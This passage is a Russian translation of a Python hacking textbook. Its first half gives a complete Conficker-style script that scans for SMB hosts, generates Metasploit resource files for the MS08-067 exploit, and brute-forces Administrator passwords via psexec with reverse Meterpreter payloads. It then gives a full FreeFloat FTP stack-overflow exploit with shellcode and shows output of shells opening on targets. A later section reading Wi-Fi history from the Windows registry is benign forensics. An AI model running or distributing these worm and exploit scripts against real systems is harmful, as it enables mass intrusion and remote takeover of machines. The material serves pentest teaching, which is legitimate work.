Хотя злоумышленникам и удалось успешно запустить эксплойт **ms08\_067\_netapi**, собирая жертвы по всему миру, защитник может легко предотвратить атаку с помощью своевременных исправлений системы безопасности. Таким образом, скрипту потребуется второй вектор атаки, используемый в черве Conficker. Ему нужно будет перебирать комбинации имени пользователя и пароля SMB, в попытках получить доступ к удалённо выполняемым процессам на хосте (**psexec**). Функция **smbBrute** принимает файл конфигурации Metasploit, целевой хост, второй файл, содержащий список паролей, а также локальный адрес и порт для прослушивателя. Она устанавливает имя пользователя в качестве администратора Windows по умолчанию, а затем открывает файл паролей. Для каждого пароля в файле функция создаёт конфигурацию ресурса Metasploit для задействования эксплойта удалённого выполнения процесса (**psexec**). Если комбинация имени пользователя и пароля оказалась успешной, эксплойт запускает полезную нагрузку Meterpreter обратно на локальный адрес и порт.

```
def smbBrute(configFile, tgtHost, passwdFile, lhost, lport):
    username = 'Administrator'
    pF = open(passwdFile, 'r')
```



```

for password in pF.readlines():
    password = password.strip('\n').strip('\r')
    configFile.write('use exploit/windows/smb/psexec\n')
    configFile.write('set SMBUser ' + str(username) + '\n')
    configFile.write('set SMBPass ' + str(password) + '\n')
    configFile.write('set RHOST ' + str(tgtHost) + '\n')
    configFile.write('set PAYLOAD '+\'windows/meterpreter/reverse_tcp\n')
    configFile.write('set LPORT ' + str(lport) + '\n')
    configFile.write('set LHOST ' + lhost + '\n')
    configFile.write('exploit -j -z\n')

```

## Подводим итоги и пишем собственный Conficker

Приближаясь к «развязке», мы видим, что скрипт теперь способен сканировать возможные цели и эксплойтить их, используя уязвимость **MS08\_067** и/или брутфорс через список паролей для удалённого выполнения процессов. Наконец-то мы добавим кое-какие параметры в функцию **main()** скрипта, а затем вызовем предыдущие написанные функции, чтобы «обернуть» весь скрипт. Далее мы приведём полный скрипт:

```

import os
import optparse
import sys
import nmap

def findTgts(subNet):
    nmScan = nmap.PortScanner()
    nmScan.scan(subNet, '445')
    tgtHosts = []
    for host in nmScan.all_hosts():
        if nmScan[host].has_tcp(445):
            state = nmScan[host]['tcp'][445]['state']
            if state == 'open':
                print '[+] Found Target Host: ' + host
                tgtHosts.append(host)
    return tgtHosts

def setupHandler(configFile, lhost, lport):
    configFile.write('use exploit/multi/handler\n')
    configFile.write('set payload '+\'windows/meterpreter/reverse_tcp\n')
    configFile.write('set LPORT ' + str(lport) + '\n')
    configFile.write('set LHOST ' + lhost + '\n')
    configFile.write('exploit -j -z\n')
    configFile.write('setg DisablePayloadHandler 1\n')

def confickerExploit(configFile, tgtHost, lhost, lport):
    configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
    configFile.write('set RHOST ' + str(tgtHost) + '\n')
    configFile.write('set payload '+\'windows/meterpreter/reverse_tcp\n')
    configFile.write('set LPORT ' + str(lport) + '\n')
    configFile.write('set LHOST ' + lhost + '\n')

```

```

    configFile.write('exploit -j -z\n')
def smbBrute(configFile, tgtHost, passwdFile, lhost, lport):
    username = 'Administrator'
    pF = open(passwdFile, 'r')
    for password in pF.readlines():
        password = password.strip('\n').strip('\r')
        configFile.write('use exploit/windows/smb/psexec\n')
        configFile.write('set SMBUser ' + str(username) + '\n')
        configFile.write('set SMBPass ' + str(password) + '\n')
        configFile.write('set RHOST ' + str(tgtHost) + '\n')
        configFile.write('set payload '+\'windows/meterpreter/reverse_tcp\n')
        configFile.write('set LPORT ' + str(lport) + '\n')
        configFile.write('set LHOST ' + lhost + '\n')
        configFile.write('exploit -j -z\n')
def main():
    configFile = open('meta.rc', 'w')
    parser = optparse.OptionParser('[-] Usage%prog '+\
        '-H <RHOST[s]> -l <LHOST> [-p <LPORT> -F <Password File>]')
    parser.add_option('-H', dest='tgtHost', type='string', \
        help='specify the target address[es]')
    parser.add_option('-p', dest='lport', type='string', \
        help='specify the listen port')
    parser.add_option('-l', dest='lhost', type='string', \
        help='specify the listen address')
    parser.add_option('-F', dest='passwdFile', type='string', \
        help='password file for SMB brute force attempt')
    (options, args) = parser.parse_args()
    if (options.tgtHost == None) | (options.lhost == None):
        print parser.usage
        exit(0)
    lhost = options.lhost
    lport = options.lport
    if lport == None:
        lport = '1337'
    passwdFile = options.passwdFile
    tgtHosts = findTgts(options.tgtHost)
    setupHandler(configFile, lhost, lport)
    for tgtHost in tgtHosts:
        confickerExploit(configFile, tgtHost, lhost, lport)
        if passwdFile != None:
            smbBrute(configFile, tgtHost, passwdFile, lhost, lport)
    configFile.close()
    os.system('msfconsole -r meta.rc')
if __name__ == '__main__':
    main()

```

До сих пор мы эксплоитили машины, используя какие-то хорошо известные методы. Однако что происходит, когда вы сталкиваетесь с целью, и у вас нет известных эксплойтов? Как вы будете выстраивать свою собственную атаку? Мы займёмся этим в следующем разделе.

```
attacker# python conficker.py -H 192.168.1.30-50 -l 192.168.1.3 -Fpasswords.txt
[+] Found Target Host: 192.168.1.35
[+] Found Target Host: 192.168.1.37
[+] Found Target Host: 192.168.1.42
[+] Found Target Host: 192.168.1.45
[+] Found Target Host: 192.168.1.47
<..ПРОПУЩЕНО..>
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.37
[*] Meterpreter session 1 opened (192.168.1.3:1337 -> 192.168.1.37:1087) at Sat Jun 23
16:25:05 -0700 2012
<..ПРОПУЩЕНО..>
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.42
[*] Meterpreter session 1 opened (192.168.1.3:1337 -> 192.168.1.42:1094) at Sat Jun 23
15:25:09 -0700 2012
```

## Написание PoC-кода нулевого дня

В предыдущем разделе и черве Conficker использовалась уязвимость, приводящая к повреждению стека. Хотя Metasploit Framework содержит более восьмисот уникальных эксплойтов в своём арсенале, у вас может наступить момент, когда вам придётся написать собственный эксплойт для удалённого выполнения кода. В этом разделе объясняется, как Python может помочь упростить этот процесс. Чтобы сделать это, нам надо понять, что же это такое – переполнение буфера на основе стека.

Часть своего успеха червь Морриса должен разделить с переполнением буфера в стеке по отношению к службе Finger (US v. Morris &, 1991). Этот класс эксплойтов проходит успешно, потому что программе не удаётся очистить или проверить вводимые пользователем данные. Хотя в 1988 году червь Морриса уже использовал атаку переполнения буфера в стеке, лишь в 1996 году Элиас Леви (он же Aleph One) опубликовал оригинальную статью «Smashing the Stack for Fun and Profit» в журнале Phrack (One, 1996). Если вы не знаете, как работают атаки переполнения буфера в стеке, или хотите узнать о них больше, почитайте статью Элиаса. Для наших же целей мы проиллюстрируем только ключевые концепции, лежащие в основе этой атаки.

## Атаки переполнения буфера в стеке

В случае переполнения буфера в стеке непроверенные пользовательские данные перезаписывают следующий указатель инструкций [EIP], чтобы получить контроль над потоком программы. Эксплойт диктует регистру EIP указывать на местоположение, содержащее шелл-код, внесённый злоумышленником. Последовательность инструкций машинного кода и шелл-код могут позволить эксплойту добавить дополнительного пользователя в целевую систему, установить сетевое соединение со злоумышленником или загрузить отдельный исполняемый файл. Существуют бесконечные возможности шелл-кода, и зависят они только от размера доступного пространства в памяти.

Именно атаки переполнения буфера на основе стека задали эксплойтам исходный вектор. Сегодня существует изобилие этих эксплойтов, и их число продолжает расти. В июле 2011 года один мой знакомый опубликовал эксплойт для уязвимого FTP-сервера к пакетному серверу (Freyman, 2011). Хотя разработка эксплойта может показаться сложной задачей, реальная атака содержит менее восьмидесяти строк кода (включая около тридцати строк шелл-кода).

## Добавление ключевых элементов атаки

Давайте начнём с построения ключевых элементов нашего эксплойта. Сначала мы настраиваем переменную **shellcode** таким образом, чтобы она содержала шестнадцатеричное кодирование для полезной нагрузки, которую мы создали с помощью Metasploit Framework. Затем мы настраиваем нашу переменную **overflow** так, чтобы она содержала 246 экземпляров буквы «А» (`\x41` в шестнадцатеричном формате). Наша адресная переменная **return** указывает на местоположение адреса в `kernel32.dll`, содержащем инструкцию, которая переходит непосредственно к вершине стека. Наша переменная **padding** содержит серию из 150 NOP-инструкций. Наконец, мы собираем все эти переменные вместе в одну переменную, которую мы назовём **crash**.

### ДОПОЛНИТЕЛЬНАЯ ИНФОРМАЦИЯ

#### Основные элементы эксплойта переполнения буфера в стеке

Переполнение – это пользовательский ввод, превышающий ожидаемое значение, выделенное в стеке. Адрес **return** – 4-байтовый адрес, используемый для прямого перехода к вершине стека. В следующем эксплойте мы применим 4-байтовый адрес, который указывает на инструкцию **JMP ESP** в `kernel32.dll`. **Padding** – серия инструкций NOP («без операций»), которая предшествует шелл-коду, позволяя злоумышленнику угадать местоположение адреса и перейти непосредственно к нему. Если

злоумышленник «приземлится» где-нибудь в этих инструкциях, он «проскользнёт» напрямую в шелл-код. Шелл-код – это небольшой кусок кода, написанный на машинном коде ассемблирования. В следующем примере мы сгенерировали шелл-код, используя инфраструктуру Metasploit.

```
shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9"
"\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\xf"
"\x83\x85\x07\xb0\x53\xf6\xe\x55\x62\x24\xf4\x1e\xd6\xf8"
"\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7"
"\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5"
"\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c"
"\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"
"\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49"
"\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"
"\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82"
"\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf"
"\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41"
"\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\xf"
"\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a"
"\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b"
"\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a"
"\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"
"\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea"
"\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8"
"\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6"
"\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea"
"\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30"
"\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53"
"\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85"
"\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25"
"\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10"
"\xba\x1e\x53\x31")
overflow = "\x41" * 246
ret = struct.pack('<L', 0x7C874413) #7C874413 JMP ESP kernel32.dll
padding = "\x90" * 150
crash = overflow + ret + padding + shellcode
```

## Отправка эксплойта

Используя Berkeley Socket API, мы создадим соединение с TCP-портом 21 на нашем целевом хосте. Если это соединение пройдёт успешно, мы аутентифицируемся на хосте, отправив анонимное имя пользователя и пароль. Наконец, мы отправим на FTP команду «**RETR**», а затем нашу переменную **crash**. Поскольку затронутая программа неправильно очищает

вводимые пользователем данные, это приведёт к переполнению буфера на основе стека, которое перезапишет регистр EIP, позволяя программе «прыгнуть» непосредственно в наш шелл-код и выполнить его.

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    s.connect((target, 21))
except:
    print "[-] Connection to "+target+" failed!"
    sys.exit(0)
print "[*] Sending " + 'len(crash)' + " " + command + " byte crash..."
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS \r\n")
s.recv(1024)
s.send("RETR" + " " + crash + "\r\n")
time.sleep(4)
```

## Сборка всего скрипта эксплойта

Собирая всё это вместе, мы получаем оригинальный эксплойт Крейга Фреймана, отправленный на [packet storm](#).

```
#!/usr/bin/Python
#Title: Freefloat FTP 1.0 Non Implemented Command Buffer Overflows
#Author: Craig Freyman (@cd1zz)
#Date: July 19, 2011
#Tested on Windows XP SP3 English
#Part of FreeFloat pwn week
#Vendor Notified: 7-18-2011 (no response)
#Software Link:http://www.freefloat.com/sv/freefloat-ftp-server/freefloat-ftp-server.php
import socket, sys, time, struct
if len(sys.argv) < 2:
    print "[-]Usage:%s <target addr> <command>"% sys.argv[0] + "\r"
    print "[-]For example [filename.py 192.168.1.10 PWND] would do trick."
    print "[-]Other options: AUTH, APPE, ALLO, ACCT"
    sys.exit(0)
target = sys.argv[1]
command = sys.argv[2]
if len(sys.argv) > 2:
    platform = sys.argv[2]
#./msfpayload windows/shell_bind_tcp r | ./msfencode -e x86/shikata_ga_nai -b
"\x00\xff\x0d\x0a\x3d\x20"
#[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9"
"\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\xf"
"\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8")
```

```

"\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7"
"\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5"
"\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c"
"\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"
"\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49"
"\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"
"\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82"
"\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf"
"\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41"
"\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f"
"\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a"
"\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b"
"\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a"
"\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"
"\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea"
"\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8"
"\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6"
"\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea"
"\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30"
"\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53"
"\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85"
"\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25"
"\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10"
"\xba\x1e\x53\x31")
#7C874413 FFE4 JMP ESP kernel32.dll
ret = struct.pack('<L', 0x7C874413)
padding = "\x90" * 150
crash = "\x41" * 246 + ret + padding + shellcode
print "\n"
[*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow\n\n
[*] Author: Craig Freyman (@cd1zz)\n\n
[*] Connecting to "+target"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    s.connect((target, 21))
except:
    print "[-] Connection to "+target+" failed!"
    sys.exit(0)
print "[*] Sending " + 'len(crash)' + " " + command + " byte crash..."
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS \r\n")
s.recv(1024)
s.send(command + " " + crash + "\r\n")
time.sleep(4)

```

После загрузки копии FreeFloat FTP на компьютер с Windows XP SP2 или SP3, мы можем протестировать эксплойт Крейга Фреймана. Обратите внимание, что он использовал шелл-

код, который связывает TCP-порт 4444 с уязвимой целью. Поэтому мы запустим наш скрипт эксплойта и задействуем утилиту **netcat** для подключения к порту 4444 на целевом хосте. Если всё пройдет успешно, то мы получим доступ к командной строке уязвимой цели.

```
attacker$ python freefloat2-overflow.py 192.168.1.37 PWND
[*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow
[*] Author: Craig Freyman (@cd1zz)
[*] Connecting to 192.168.1.37
[*] Sending 768 PWND byte crash...
attacker$ nc 192.168.1.37 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop\>
```

## Итоги главы

Поздравляем! Мы написали наши собственные инструменты, которые можно использовать во время теста на проникновение. Мы начали с создания собственного сканера портов. Далее мы рассмотрели способы атаки протоколов SSH, FTP и SMB, и в заключение создали собственный эксплойт нулевого дня с использованием Python.

Надеюсь, во время пентеста вы будете писать код бесконечное количество раз. Мы продемонстрировали некоторые основы создания скриптов Python с целью продвижения наших тестов на проникновение. Теперь, когда мы уже лучше понимаем возможности Python, давайте посмотрим, насколько хорошо у нас получится написать некоторые сценарии, чтобы помочь нам в криминалистических экспертизах.

### Ссылки

- Ahmad, D. (2008) Two years of broken crypto: Debian's dress rehearsal for a global PKI compromise. *IEEE Security & Privacy*, pp. 70–73.
- Albright, D., Brannan, P., & Walrond, C. (2010). Did Stuxnet Take Out 1,000 Centrifuges at the Natanz Enrichment Plant? *ISIS REPORT*, November 22. <isis-online.org/uploads/isis-reports/documents/stuxnet\_FEP\_22Dec2> Retrieved 31.10.11.
- Eichen, M., & Rochlis, J. (1989). With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988, February 9. [www.utdallas.edu/~edsha/UGsecurity/internet-worm-MIT.pdf](http://www.utdallas.edu/~edsha/UGsecurity/internet-worm-MIT.pdf) Retrieved 31.10.11.
- Elmer-Dewitt, P., McCarroll, T., & Voorst, B. V. (1988). Technology: the kid put us out of action. *Time Magazine*, October 14. <http://www.time.com/time/magazine/article/0,9171,968884,00.html> Retrieved 30.10.11.
- Freyman, C. (2011). FreeFloat FTP 1.0 Any Non Implemented Command Buffer Overflow ! Packet Storm. *Packet Storm ! Full Disclosure Information Security*, July 18. <http://packetstormsecurity.org/files/view/103166/freefloat2-overflow.py.txt> Retrieved 31.10.11.
- GAO. (1989). Report to the Chairman, Subcommittee on Telecommunications and Finance, Committee on Energy and Commerce House of Representatives. "Virus Highlights Need for Improved Internet



Management.” *United States General Accounting Office*.  
[ftp.cerias.purdue.edu/pub/doc/morris\\_worm/GAO-rpt.txt](ftp.cerias.purdue.edu/pub/doc/morris_worm/GAO-rpt.txt) Retrieved 31.10.11.

- Huang, W. (2011). Armorize Malware Blog: k985yvtv mass compromise ongoing, spreads fake antivirus. *Armorize Malware Blog*, August 17. <http://blog.armorize.com/2011/08/k985yvtvhtmlfake-antivirus-mass.html> Retrieved 31.10.11.
- Markoff, J. (2009). Defying experts, rogue computer code still lurks. *The New York Times*, August 27. <http://www.nytimes.com/2009/08/27/technology/27compute.html> Retrieved 30.10.11.
- Moore, H. D. (2008). Debian OpenSSL predictable PRNG toys. *Digital Offense*. <http://digitaloffense.net/tools/debian-openssl/> Retrieved 30.10.11.
- Nahorney, B. (2009). The Downadup Codex a comprehensive guide to the threat’s mechanics. *Symantec / Security Response*. [www.symantec.com/content/en/us/enterprise/media/security\\_response/whitepapers/the\\_downadup\\_codex\\_ed2.pdf](http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_downadup_codex_ed2.pdf) Retrieved 30.10.11.
- One, A. (1996). Smashing the stack for fun and profit. *Phrack Magazine*, August 11. <http://www.phrack.org/issues.html?issue=49&id=14#article> Retrieved 30.10.11.
- US v. Morris (1991). 928 F. 2d 504, (C. A. 2nd Circuit. Mar. 7, 1991). *Google Scholar*. [http://scholar.google.com/scholar\\_case?case=551386241451639668](http://scholar.google.com/scholar_case?case=551386241451639668) Retrieved 31.10.11.
- Vaskovich, F. (1997). The Art of Port Scanning. *Phrack Magazine*, September 1. <http://www.phrack.org/issues.html?issue=51-id=11#article> Retrieved 31.10.11.

# Глава 3: Python и криминалистические экспертизы

## С чем мы столкнёмся в этой главе:

- Геолокация через реестр Windows
- Исследование корзины
- Изучение метаданных в PDF-файлах и документах Microsoft
- Извлечение координат GPS из метаданных Exif
- Исследование артефактов Skype
- Перечисление артефактов браузера из баз данных Firefox
- Изучение артефактов мобильных устройств

В конце концов, ты должен будешь вообще забыть о технике. Чем дальше продвигаешься, тем меньше остаётся догм. Великий Путь – это, на самом деле, ОТСУТСТВИЕ ПУТИ ...

Уэсиба Морихей, Кайсо, основатель Айкидо

## Введение: как был разоблачён маньяк по прозвищу “ВТК”

В феврале 2005 года Рэнди Стоун, судебный следователь полиции города Уичито, ухватился за последние ниточки к разгадке 30-летней тайны. Двумя днями ранее телеканал KSAS передал полиции 3,5-дюймовую дискету, присланную печально известным убийцей по прозвищу “ВТК” (“Bind, Torture, Kill” – «Связываю, пытаю, убиваю»). Совершивший как минимум 10 убийств с 1974 по 1991 год, “ВТК” ускользал от ареста, постоянно надсмехаясь над полицией и своими жертвами. 16 февраля 2005 года “ВТК” отправил на телеканал дискету с инструкциями для связи. Дискета содержала файл с именем Test.A.rtf. (Regan, 2006). В файле были инструкции от “ВТК”, но там также хранилось и кое-что ещё: метаданные. Встроенный в собственный расширенный формат текста (RTF) Microsoft, этот файл содержал реальное имя убийцы и физическое местоположение, где пользователь в последний раз сохранял файл.

Это сузило круг подозреваемых до человека по имени Деннис, имеющего отношение к местной лютеранской церкви Wichita Christ. Следователь Стоун вскоре вышел на некоего Денниса Рейдера, служившего там церковным чиновником (Regan, 2006). Получив эту

информацию, полиция запросила ордер на взятие образца ДНК из медицинских карт дочери Денниса Рейдера (Shapiro, 2007). Образец ДНК подтвердил то, что мистер Стоун уже знал - Деннис Рейдер был тем самым убийцей по прозвищу "ВТК". 31-летнее расследование, на которое было потрачено 100 000 человеко-часов, успешно завершила проверка метаданных следователем Стоуном (Regan, 2006).

Компьютерные судебные расследования оказались столь же эффективны, как и следователь с инструментами из своего арсенала. Ох, как же часто следователей мучают вопросы, для ответов на которые у них нет инструментов! Возьмитесь за Python! Как мы увидели в предыдущих главах, решение сложных задач с минимальным количеством кода доказывает силу этого языка программирования. Как мы увидим в следующих разделах, нам под силу ответить на некоторые довольно сложные вопросы с помощью минимального количества строк кода Python. Давайте начнём с применения некоторых уникальных ключей реестра Windows для физического отслеживания пользователя.

## Где вы были? Анализ точек беспроводного доступа в реестре

Реестр Windows содержит иерархическую базу данных, в которой хранятся параметры конфигурации операционной системы. С появлением беспроводных сетей в реестре Windows хранится информация, касающаяся беспроводного соединения. Знание того, где эти значения находятся и что означают может дать нам геолокационную информацию о тех местах, где побывал портативный компьютер. Начиная с Windows Vista, реестр хранит каждую из сетей в подразделе *HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged*. Из командной строки Windows мы можем получить список сетей с отображением профиля Guid, описанием сети, именем сети и MAC-адресом шлюза.

```
C:\Windows\system32>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\NetworkList\Signatures\Unmanaged" /s
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\NetworkList\Signatures\Unman
aged\010103000F0000F0080000000F0000F04BCC2360E4B8F7DC8BDAFAB8AE4DAD8
62E3960B979A7AD52FA5F70188E103148
ProfileGuid          REG_SZ {3B24CE70-AA79-4C9A-B9CC-83F90C2C9C0D}
Description          REG_SZ Hooters_San_Pedro
Source               REG_DWORD 0x8
DnsSuffix             REG_SZ <none>
FirstNetwork         REG_SZ Public_Library
DefaultGatewayMac    REG_BINARY 00115024687F0000
```

## Использование WinReg для чтения реестра Windows

В реестре хранится MAC-адрес шлюза в виде типа **REG\_BINARY**. В предыдущем примере шестнадцатеричные байты `\x00\x11\x50\x24\x68\x7F\x00\x00` ссылаются на фактический адрес **00:11:50:24:68:7F**. Мы напишем быструю функцию для преобразования значения **REG\_BINARY** в фактический MAC-адрес. Знание MAC-адреса беспроводной сети может оказаться полезным, как мы увидим позже.

```
def val2addr(val):
    addr = ""
    for ch in val:
        addr += ("%02x " % ord(ch))
    addr = addr.strip(" ").replace(" ", ":")[0:17]
    return addr
```

Теперь давайте напишем функцию для извлечения сетевого имени и MAC-адреса для каждого перечисленного сетевого профиля из определённых разделов в реестре Windows. Для этого мы будем использовать библиотеку **\_winreg**, установленную по умолчанию вместе с установщиком Python в Windows по умолчанию. После подключения к реестру мы можем открыть раздел с помощью функции **OpenKey()** и пройти по сетевым профилям этого раздела. Для каждого профиля там содержатся следующие подразделы: **ProfileGuid**, **Description**, **Source**, **DnsSuffix**, **FirstNetwork**, **DefaultGatewayMac**. Раздел реестра индексирует имя сети и **DefaultGatewayMAC** как четвёртое и пятое значения в массиве. Теперь мы можем получить список этих разделов и вывести его на экран.

```
from _winreg import *
def printNets():
    net = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"+\
        "\\NetworkList\\Signatures\\Unmanaged"
    key = OpenKey(HKEY_LOCAL_MACHINE, net)
    print '\n[*] Networks You have Joined.'
    for i in range(100):
        try:
            guid = EnumKey(key, i)
            netKey = OpenKey(key, str(guid))
            (n, addr, t) = EnumValue(netKey, 5)
            (n, name, t) = EnumValue(netKey, 4)
            macAddr = val2addr(addr)
            netName = str(name)
            print '[+] ' + netName + ' ' + macAddr
            CloseKey(netKey)
        except:
            break
```

Собрав всё воедино, мы теперь имеем скрипт, который выводит список и информацию о ранее подключённых беспроводных сетях, хранящихся в реестре Windows.

```
from _winreg import *
def val2addr(val):
    addr = ''
    for ch in val:
        addr += '%02x ' % ord(ch)
    addr = addr.strip(' ').replace(' ', ':')[0:17]
    return addr
def printNets():
    net = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"+"\\NetworkList\\Signatures\\Unmanaged"
    key = OpenKey(HKEY_LOCAL_MACHINE, net)
    print '\\n[*] Networks You have Joined.'
    for i in range(100):
        try:
            guid = EnumKey(key, i)
            netKey = OpenKey(key, str(guid))
            (n, addr, t) = EnumValue(netKey, 5)
            (n, name, t) = EnumValue(netKey, 4)
            macAddr = val2addr(addr)
            netName = str(name)
            print '[+] ' + netName + ' ' + macAddr
            CloseKey(netKey)
        except:
            break
def main():
    printNets()
if __name__ == "__main__":
    main()
```

Запустив наш скрипт на исследуемом портативном компьютере, мы видим ранее подключённые беспроводные сети вместе с их MAC-адресами. При тестировании скрипта убедитесь, что вы работаете из консоли под именем администратора, иначе вы не сможете прочитать необходимые разделы.

```
C:\Users\investigator\Desktop\python discoverNetworks.py
[*] Networks You have Joined.
[+] Hooters_San_Pedro, 00:11:50:24:68:7F
[+] LAX Airport, 00:30:65:03:e8:c6
[+] Senate_public_wifi, 00:0b:85:23:23:3e
```

## Применяем Mechanize для отправки MAC-адреса в Wigle

Однако это ещё не конец скрипта. С помощью MAC-адреса беспроводной точки доступа мы теперь можем также получить физическое местоположение этой точки. Довольно много баз

данных, как с открытым исходным кодом, так и проприетарных, содержат огромные списки точек беспроводного доступа с их физическими местоположениями. Проприетарные устройства, такие как сотовые телефоны, используют эти базы данных для определения местоположения без использования GPS.

База данных SkyHook, доступная по адресу <http://www.skyhookwireless.com/>, предоставляет комплект разработчика программного обеспечения для геолокации на основе определения местоположения Wi-Fi. Проект с открытым исходным кодом, разработанный Ианом МакКрэкенем, обеспечивал доступ к этой базе данных в течение нескольких лет по адресу <http://code.google.com/p/maclocate/>. Однако совсем недавно SkyHook изменила SDK, чтобы использовать ключ API для взаимодействия с базой данных. Компания Google также поддерживала столь же объёмную базу данных с целью сопоставления MAC-адресов точек доступа с физическими местоположениями. Однако вскоре после того, как Горан Петровский разработал скрипт **NMAP NSE** для взаимодействия с ней, Google закрыла взаимодействие открытого исходного кода с этой базой данных (Google, 2012; Petrovski, 2011). Впоследствии и Microsoft заблокировала аналогичную базу данных географического местоположения Wi-Fi, ссылаясь на проблемы конфиденциальности (Bright, 2011).

Остаётся ещё одна база данных и проект с открытым исходным кодом – wigle.net, который по-прежнему позволяет пользователям искать физические местоположения исходя из адресов точек доступа. После регистрации учётной записи пользователь может взаимодействовать с wigle.net с помощью небольшого креативного скрипта Python. Давайте по-быстрому посмотрим, как создать скрипт для взаимодействия с wigle.net.

